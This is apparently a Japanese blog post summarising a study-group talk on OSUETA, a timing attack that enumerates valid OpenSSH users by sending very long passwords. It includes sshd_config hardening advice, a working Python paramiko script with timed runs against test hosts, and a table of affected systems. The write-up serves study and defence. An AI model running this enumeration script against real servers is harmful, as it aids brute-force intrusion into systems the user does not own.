sshによるユーザ列挙攻撃"osueta"

ものすごく遅いレポートですが、先日、ゆるふわ勉強会こと さしみjp ささみjpの#ssmjp 2014/06 に参加させて頂きました。

この中で、@togakushiさんの発表「OpenSSH User EnumerationTime-Based Attack と Python-paramiko」が面白かったのでそのメモです。

osuetaとは何か

OpenSSHでは、パスワード認証の際に長い文字列(目安で数万文字)を与えると、存在するユーザと存在しないユーザの場合で応答速度が変わってきます。環境によりこの時間差は結構違うようですが、私の試した範囲では、

  • 存在するユーザの場合は数十秒
  • 存在しないユーザの場合は数秒

で応答が返りました(この応答速度は目安です、もちろんマシンスペックによって違うでしょう)。これにより、複数のユーザでsshログイン試行をおこない、その応答時間を計測することでユーザがシステムに存在するのかしないのかを外部から判断することができます。

このようなユーザ列挙攻撃の手法を、OSUETA(OpenSSH User Enumeration Time-Based Attack)と呼びます。

sshによるブルートフォース攻撃をおこなう際に、事前にOSUETAにより存在するユーザを調べておくと、効率的に攻撃できることが期待されます。

なお、このように応答速度でユーザ列挙できてしまう件は、脆弱性ではなく仕様と解釈されているようです。最初にこの問題が指摘されたのは、以下のCVE-2006-5229(OpenSSH portable における有効なユーザ名を特定される脆弱性)のようです。

それから8年ほど経ちますが、問題はまだ残っていることから、やはりバグなどではなく「仕様」なのでしょう。

ちょっと脱線:UsePAMとPasswordAuthentication

ここで、いきなりちょっと脱線してsshdの設定方法の確認をします。

sshdの設定の際、鍵認証のみとしてパスワード認証を無効としたい場合には、以下のように/etc/ssh/sshd_configのPasswordAuthenticationをnoにする例がよく紹介されています。

PasswordAuthentication no

しかしここにはちょっとした罠があります。実はこうしてPasswordAuthenticationをnoにしていても、PAMを利用するように設定していると、ChallengeResponseAuthenticationで結局PAMのパスワード認証が利用されるため、意図した「鍵認証のみとする」設定になりません。

ややこしいので、以下の表にまとめました。

PasswordAuthentication ChallengeResponseAuthentication UsePAM パスワードでログイン
yes no/yes どちらでも no/yes どちらでも できる
no no no できない
no no yes できない
no yes no できない
no yes yes できる

そのため、UsePAMをyesに設定した状態でパスワード認証を潰したい場合には、sshd_configの以下3行を正しく設定する必要があります。(なお、ChallengeResponseAuthenticationはデフォルトがnoですが、明示的に書いた方が良いでしょう)。

PasswordAuthentication no
ChallengeResponseAuthentication no
UsePAM yes

今回のOSUETA攻撃はパスワード認証を狙うため、上記のように設定していれば影響を受けません(鍵認証のみとする)。というわけで、脱線終わり。

※@matsuuさんの指摘により、設定例と説明を若干修正しました

paramikoによる実装

では、このTime-Based Attackを試すために実装してみましょう。

sshログインの際、長大なパスワードを手で投げつけるのは意外に面倒です。そのため、pythonのparamikoというモジュールを利用すると便利です。ここではクライアントOSとしてはUbuntuを用いました。

paramikoのインストール

python-paramikoモジュールをインストールするだけです。

$ sudo apt-get install python-paramiko
攻撃スクリプト

paramikoを使って、長いパスワードを投げつける簡単なスクリプトを書いてみましょう。

#!/usr/bin/python
 
import sys
import socket
import paramiko
 
hostname = sys.argv[1]
user = sys.argv[2]
 
s = socket.create_connection((hostname, 22))
t = paramiko.Transport(s)
t.connect(username = user)
t.auth_password(user,'A' * 40000)

これで、コマンドライン引数から対象のIPアドレス、ユーザ名を指定して実行します。

$ ./osueta.py 192.168.0.1 root 2> /dev/null

スクリプトの中身は、見ればなんとなく分かるでしょうが……paramikoをimportして、auth_passwordメソッドでsshパスワードに"A"を4万文字突っ込んでいます。

なお、上記スクリプトは認証に失敗するため常にエラーで終了しますが、先に述べたようにここでは応答速度を測りたいだけなので、これで問題ありません。そのため標準エラー出力も/dev/nullにリダイレクトして捨てています。

timeコマンドで応答を測る

OSUETAは応答速度の時間差でユーザの存在を探る手法なので、スクリプトの実行時間を計る必要があります。もちろんストップウオッチ片手にやってもいいのですが、ここではシェルのtimeコマンドを使ってみましょう。

$ time -p ./osueta.py 192.168.0.1 root 2> /dev/null

なお、timeコマンドの出力はOSやシェルによって結構違うため(timeコマンドはシェルビルトインと外部コマンドの両方があるため)、出力をシェルスクリプトで扱おうとするとなかなか厄介です。そのため、後処理する場合には上記のように、POSIXフォーマットで出力する-pオプションを利用すると便利です。

timeコマンドの-pオプションを利用すると、real/user/sysの3つが出力されます。ここでは応答時間を計りたいので、realの値を目安にしましょう。

ozuma@ubunt:~/osueta$ time -p ./osueta.py 10.0.2.6 aaaa 2> /dev/null
real 2.83
user 0.05
sys 0.01
ozuma@ubunt:~/osueta$ time -p ./osueta.py 10.0.2.6 ozuma 2> /dev/null
real 14.67
user 0.12
sys 0.06

上記のように、存在しないユーザ(aaaa)の応答速度は2.8秒ほどですが、存在するユーザ(ozuma)は15秒近くかかります。一目瞭然です。

試してみた

ssmjpでtogakushiさんに質問したところ、Linuxのみで試されたとのことだったので、気になってFreeBSDやSolarisでも試してみました。

Solarisで使われているsshはOpenSSHではなくSun_SSHという独自のものですが、元々このSun_SSHはOpenSSHの改造版と言われているので、同じような挙動を示すと推察されます。

OS sshd vulnerable
Ubuntu 13 OpenSSH 6.2 vulnerable
CentOS 6.5(64bit) OpenSSH 5.3 vulnerable
FreeBSD 9.1(32bit) OpenSSH 5.8 vulnerable
Solaris 11(x86) Sun_SSH_2.0 vulnerable

上記が試した結果。というわけで、私の周りのOSでは全てユーザ列挙ができました。

CPU負荷

OSUETAを叩くと、sshdのCPU使用率が一気に跳ね上がって100%に張り付きます。

完全にCPUバウンドな処理なので、見た目ほど体感の処理速度に影響はしませんが、あまり軽視もできないですね。

追記

@k_morihisaさんの「OSUETA 攻撃 vs Kippo」が、「その発想は無かった」と面白いです。